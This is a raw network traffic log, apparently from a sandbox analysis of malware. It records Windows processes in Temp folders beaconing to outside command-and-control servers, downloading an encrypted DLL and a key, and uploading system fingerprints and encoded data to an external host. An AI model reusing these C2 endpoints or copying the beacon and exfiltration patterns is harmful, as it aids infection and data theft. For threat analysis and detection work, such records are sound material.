Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:17.008466959 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:18:18.276453018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.9	49814	185.156.73.23	80	4112	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:17.104619026 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:18.458292007 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 23, 2024 17:18:18.600207090 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:19.081418991 CET	224	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 23, 2024 17:18:19.240748882 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:19.798814058 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 23, 2024 17:18:19.798845053 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 23, 2024 17:18:19.798856974 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 23, 2024 17:18:19.798881054 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 23, 2024 17:18:19.799000025 CET	896	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 23, 2024 17:18:19.799010992 CET	1236	IN	Data Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
Dec 23, 2024 17:18:19.799021006 CET	224	IN	Data Raw: df fc 63 59 94 94 22 2e 6e b1 dd f8 1b 24 0c 47 af 41 b3 94 25 ae 63 05 68 cb 3a 78 6c 3a e6 0d fb 89 7f 8a 63 45 33 22 3e 37 2f cf bc bf dc 07 94 6d 6c 26 9b 2d c4 5a 8b a4 95 2b 63 98 62 c1 cf a5 66 8f c2 9e 15 af 99 71 41 93 5a 45 26 fd cf ad Data Ascii: cY".n$GA%ch:xl:cE3">7/ml&-Z+cbfqAZE&j;{1:w\1`gub%gi&!3h+bn,awiHeKQZXrU)DT"->KTgx;1xY6#
Dec 23, 2024 17:18:19.799031973 CET	1236	IN	Data Raw: 8f 1d 0d be 27 ff ec 94 42 a9 9b 73 5a fd 79 db d2 b8 d5 e1 a1 03 e3 15 15 03 66 f7 ce 80 5c 3b 1e a1 07 3e 21 eb af c4 a1 bf 5e 61 d2 6f d8 d5 5a 17 35 09 48 2c d6 85 83 d0 04 63 f5 86 ce a6 bc c0 9e 98 c6 04 c0 ab 77 00 9a eb 84 f7 63 b7 4f 02 Data Ascii: 'BsZyf\;>!^aoZ5H,cwcOVm&pNVkeZjcZK+y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&j
Dec 23, 2024 17:18:19.799042940 CET	1236	IN	Data Raw: f5 e3 4e 22 e2 e4 6c f0 55 0b 97 5e ac 99 ce d9 2d 9d c7 be 15 93 aa 0c 29 0c 1d b2 f3 dd fc e4 8b 63 d6 98 31 d1 b7 49 a6 71 e5 b2 d3 e8 5e e8 9e 75 46 fe 01 39 b7 33 37 2e e3 ef 91 41 d9 99 68 ea 7f 7d cf ce 41 81 6e 70 c3 0d 68 96 71 2a a3 c4 Data Ascii: N"lU^-)c1Iq^uF937.Ah}AnphqlT>\|kg#q)!.dpdL^_i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm
Dec 23, 2024 17:18:19.807265997 CET	1236	IN	Data Raw: 24 08 81 00 b0 29 53 4c 0d 27 e1 33 7b 84 04 88 79 b5 d5 43 40 8f 58 a2 99 64 09 e2 8c ee 13 54 41 69 50 44 94 4f 46 7e cb 26 60 1a 9f 1e 9b 9f 4d b1 bb 5c 69 8a 93 4a 09 ae 85 9c 0e d0 94 99 87 53 0e b2 b3 ca da 67 15 92 5c 33 3f 11 b8 6f 4e 63 Data Ascii: $)SL'3{yC@XdTAiPDOF~&`M\iJSg\3?oNc8Hbnm0CWF5/lUo~x,3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^
Dec 23, 2024 17:18:19.807281017 CET	1236	IN	Data Raw: 61 de 51 24 4d 6e aa f3 ec 77 8d e7 a3 6b 92 61 7b c3 99 e7 5f 62 0b fd 23 71 05 37 ca 91 bb ba c7 ac dd dc 9b a2 35 f2 02 79 6a b4 af 3c b1 c4 f8 43 19 2b 21 91 22 e1 67 0d 4a 42 55 c4 f8 01 43 35 15 93 1d 27 bd 0d 70 27 78 c3 8b 76 86 aa a1 cb Data Ascii: aQ$Mnwka{_b#q75yj<C+!"gJBUC5'p'xv~)ByVeZop&ekZamRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yz
Dec 23, 2024 17:18:20.460042000 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 17:18:20.950351954 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:18:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.9	49815	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:18.724630117 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:19.978245974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.9	49816	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:18.773910046 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:18:20.034895897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.9	49818	185.121.15.192	80	6940	C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:18:19.615264893 CET	12360	OUT	POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1 Host: home.twentytk20ht.top Accept: / Content-Type: application/json Content-Length: 565269 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 39 37 30 36 36 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734970661", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 584 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 880 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 792 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 23, 2024 17:18:19.735347033 CET	4944	OUT	Data Raw: 56 2b 4d 76 42 58 6a 42 6c 75 4c 78 5c 2f 43 6d 49 78 6c 48 45 5a 66 57 39 6c 6d 4f 53 35 76 53 77 32 46 7a 6e 41 78 6b 32 71 47 49 72 59 62 43 34 76 48 55 4a 34 54 46 4a 4e 30 4d 54 68 73 56 58 70 4f 53 6e 52 71 53 70 34 69 6e 55 6f 77 5c 2f 6d Data Ascii: V+MvBXjBluLx\/CmIxlHEZfW9lmOS5vSw2FznAxk2qGIrYbC4vHUJ4TFJN0MThsVXpOSnRqSp4inUow\/m\/wAY\/ATxB8Cs3weWcaYXA18LmlD22V8QZHWxeNyDMZwjF4nC4fF4vA5diIY3BOajisJisHhqyjKnXpRq4WrSr1KNFWKg2P7fl\/8AZV+rH42JRRRQAVC\/+sjr7Q\/4J\/fCvwH8bf2t\/hT8MPidoQ8S+B\/E6
Dec 23, 2024 17:18:19.735419035 CET	4944	OUT	Data Raw: 5c 2f 75 72 6e 5c 2f 55 66 35 39 38 5c 2f 5c 2f 58 71 4a 76 76 4f 6a 76 5c 2f 32 30 5c 2f 43 67 43 42 59 7a 5c 2f 41 41 45 37 78 47 54 35 6b 6e 5c 2f 74 70 61 66 30 5c 2f 4c 48 4e 48 48 5c 2f 54 50 5c 2f 70 72 5c 2f 77 41 38 50 2b 76 71 37 5c 2f Data Ascii: \/urn\/Uf598\/\/XqJvvOjv\/20\/CgCBYz\/AAE7xGT5kn\/tpaf0\/LHNHH\/TP\/pr\/wA8P+vq7\/Dp\/PFTRxyM2392zx+megqGP5pP7\/l9pPXn+nvWfs\/P8P8AgmlPr8v1GfPHGkaPGP3tz+8\/57fj6+v0xRn+NHkheX975n+ogGf59+Ke0nzMn344\/wB1\/quO\/wDpWfSnyRuuzYn8\/tH17e3\/ANc1maH7kP
Dec 23, 2024 17:18:19.735508919 CET	2472	OUT	Data Raw: 36 45 46 54 47 30 4f 45 2b 4f 63 6e 72 5a 6c 48 4d 63 48 6c 50 45 2b 46 6a 67 6c 68 38 5a 50 47 5a 64 52 65 4b 79 39 56 63 56 4c 4c 35 53 74 47 46 4c 45 56 59 78 71 56 46 53 68 43 4d 36 79 6e 55 63 65 65 55 35 53 5c 2f 7a 64 5c 2f 61 46 30 4d 44 Data Ascii: 6EFTG0OE+OcnrZlHMcHlPE+Fjglh8ZPGZdReKy9VcVLL5StGFLEVYxqVFShCM6ynUceeU5S\/zd\/aF0MDU428PM6oZV\/ZuPznhLGSzGVfB0sJmWI+pZl7HCRzL2blKrWw1GcqVJ1alSVOi4Uoy9nGEYx0VJ5fv+n\/16jr+3j\/Pn2nl+P\/AI\/L9\/0\/8Ar1HViig0P7W\/+CbbE\/sNfs6en\/CHakPy8X+JF\/p\/+uv
Dec 23, 2024 17:18:19.735583067 CET	2472	OUT	Data Raw: 2b 74 56 63 50 6a 64 5c 2f 46 39 4f 2b 4f 76 72 31 39 73 39 36 6c 6b 37 66 36 7a 76 5c 2f 53 6d 79 4b 5c 2f 4b 64 65 66 39 5a 5c 2f 6e 39 4f 76 38 41 4f 67 36 2b 64 2b 58 39 66 4d 72 38 35 33 37 50 2b 32 65 50 33 48 5c 2f 36 76 38 35 7a 55 48 79 Data Ascii: +tVcPjd\/F9O+Ovr19s96lk7f6zv\/SmyK\/Kdef9Z\/n9Ov8AOg6+d+X9fMr8537P+2eP3H\/6v85zUHyfP\/rO\/wBP8\/0x2zVzyc\/6whv5fpVaSP72\/wC\/x6f5+uKDUh9ET\/ln\/qv8\/wD6vbimAO33U8w\/Uj9an2v\/ALnP+r\/5b9PbPWoPLf5P48f5H6fT9c0HQHlp\/Gkaf8te4n6VTZfm\/wBj\/pp+4t\/+
Dec 23, 2024 17:18:19.735656977 CET	2472	OUT	Data Raw: 35 5a 58 48 48 6c 48 5c 2f 44 4e 4d 32 76 38 6e 6c 5c 2f 38 38 76 4e 5c 2f 35 34 54 5c 2f 41 4a 5c 2f 5c 2f 41 46 2b 6c 41 44 50 4c 38 79 52 48 2b 5c 2f 38 41 76 66 38 41 6a 34 6a 50 72 30 75 76 7a 5c 2f 70 30 70 6e 7a 77 78 77 66 36 7a 5a 5c 2f Data Ascii: 5ZXHHlH\/DNM2v8nl\/88vN\/54T\/AJ\/\/AF+lADPL8yRH+\/8Avf8Aj4jPr0uvz\/p0pnzwxwf6zZ\/pHleX\/wBfX4\/bf857VJJsjkm+SNE8rn\/PXmiOQx7HRNn7ryuIv3+PtX4\/\/XzQBH8\/mTTJ9y4\/6ZcfaB0\/0Tt+femNG\/yIM\/8ALx52f8\/Xj60+Tftx+8fzP3UUkfcf59v1p8f7z7j70\/0iWYyc\/wC
Dec 23, 2024 17:18:19.735687017 CET	2472	OUT	Data Raw: 72 39 71 6e 78 44 6f 58 69 58 39 6b 66 39 71 33 55 66 44 32 73 36 58 72 75 6e 6a 77 42 34 6d 74 7a 66 36 52 66 32 32 70 57 4a 6e 54 34 66 65 48 35 4a 49 6b 76 4c 4f 53 61 33 6b 65 4e 5a 59 5c 2f 4d 43 53 4e 73 5a 74 72 59 63 4d 6f 5c 2f 64 4f 48 Data Ascii: r9qnxDoXiX9kf9q3UfD2s6XrunjwB4mtzf6Rf22pWJnT4feH5JIkvLOSa3keNZY\/MCSNsZtrYcMo\/dOH\/AGM\/FDJcRl7r1MBX8QsJLD1506lOVbL6vEn1jBzrRlCm4+1hLD1rThB80oe6nZHicVYKnT8MOJcTj8PhKefUvC7NcBiZQnTnOnVw\/DuK+s4WlOM5qdOhiZYtLknNa1HzSV2fxvYP93\/0L\/Gm1YpmX9B\/n8
Dec 23, 2024 17:18:19.735795975 CET	4944	OUT	Data Raw: 4a 76 4c 4a 4a 79 63 61 63 59 51 57 69 57 6b 59 70 65 52 5c 2f 6d 37 2b 30 5a 77 39 48 43 63 58 2b 47 4f 47 77 31 4e 55 71 46 48 68 54 4e 6f 55 71 61 63 6d 6f 52 57 62 77 73 6b 35 4e 79 65 5c 2f 56 74 6c 65 69 70 4a 4f 33 34 31 48 58 39 30 48 2b Data Ascii: JvLJJycacYQWiWkYpeR\/m7+0Zw9HCcX+GOGw1NUqFHhTNoUqacmoRWbwsk5Nye\/VtleipJO341HX90H+dYVXqxUT9fw\/qaAP6IPFfw18c+Ov+CPn7Nfjb4bac+ueNv2cvF\/h\/wDaO0PQIojPLrQ+Gvj34hW+rW0duqs12bHQdd1XW2skDT3iaU9raRT3s1vby\/Xvxz+FHwp\/4Ky\/ss\/DTxv8KvibL4O1zR9asPHnw\
Dec 23, 2024 17:18:19.855331898 CET	7416	OUT	Data Raw: 51 55 39 63 71 79 49 6a 37 33 5c 2f 41 4e 62 35 6b 6b 76 2b 65 63 5a 71 49 74 7a 39 5c 2f 5a 43 5a 66 33 76 5c 2f 41 44 77 7a 6e 5c 2f 50 54 38 76 54 54 32 66 6e 2b 48 5c 2f 42 4f 67 5c 2f 64 32 69 73 54 78 4a 72 31 6e 34 59 30 50 55 74 66 31 41 Data Ascii: QU9cqyIj73\/ANb5kkv+ecZqItz9\/ZCZf3v\/ADwzn\/PT8vTT2fn+H\/BOg\/d2isTxJr1n4Y0PUtf1A4stLtzc3B3BcRh1T7xBA5cc4Ndt8U9I0b4V3HxEtJfiv8G\/iHe\/Br4t+HPgh8adJ+G+tfEl9Y+E\/wAQvF+neK9S8Lab4ptviX8JvhjZapp+uJ4G8V2lprvgXUvGOiRajo01le39q91pzXvxGf8AHHCfC2YZTlf
Dec 23, 2024 17:18:19.855480909 CET	2472	OUT	Data Raw: 37 33 53 66 42 57 72 2b 45 50 32 69 50 32 63 66 48 43 66 45 50 39 6f 5c 2f 34 61 5c 2f 73 71 2b 44 37 48 53 72 6e 39 70 62 77 33 66 36 35 38 59 50 69 64 71 47 6e 32 39 6c 70 47 6d 66 38 41 43 79 50 32 58 76 41 39 68 71 31 68 34 51 30 6e 55 37 4c Data Ascii: 73SfBWr+EP2iP2cfHCfEP9o\/4a\/sq+D7HSrn9pbw3f658YPidqGn29lpGmf8ACyP2XvA9hq1h4Q0nU7LxR8Q7\/Rb\/AFP\/AIRHQr7RVvIZNb8V+DtG8Rc3pfh\/QPEviv4faH4J+NXwL8c+FvH+v\/tC+EW+K\/h7UvjZafD\/AMFeLv2Xfhcvxk+MHhnxpZ+LPgL4Y+JsOpaJ8Pp7PXdOm8MfDjxTpWvx30Vvo+o3lzbal
Dec 23, 2024 17:18:19.855564117 CET	4944	OUT	Data Raw: 4b 59 5c 2f 54 38 66 36 47 70 5c 2f 4b 66 30 5c 2f 51 5c 2f 34 55 7a 59 5c 2f 74 2b 58 5c 2f 41 4e 6c 51 61 55 2b 76 39 66 31 5c 2f 77 78 57 6f 71 56 2b 6e 34 5c 2f 30 4e 52 55 47 68 45 5c 2f 58 38 50 36 6d 6d 56 4a 4a 32 5c 2f 48 2b 6c 52 30 47 Data Ascii: KY\/T8f6Gp\/Kf0\/Q\/4UzY\/t+X\/ANlQaU+v9f1\/wxWoqV+n4\/0NRUGhE\/X8P6mmVJJ2\/H+lR0GntPL8f+ARydvx\/pUdWKg2P7fl\/wDZUHR7Ty\/H\/gEL9fw\/qahZd38vrVh+n4\/0NNw\/v+f\/ANetvf8A7v4mhT2+X+hz\/KlqWTon0P8AOoqo7vf\/ALv4kMvf\/d\/xpnDD2NTP0\/H+hqKgor+Xs989\/w
Dec 23, 2024 17:18:23.618093014 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 23 Dec 2024 16:18:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 56 74 72 78 6c 6c 50 49 78 58 77 72 47 59 43 78 31 37 33 34 39 37 30 37 30 31 Data Ascii: VtrxllPIxXwrGYCx1734970701

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.9	49819	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
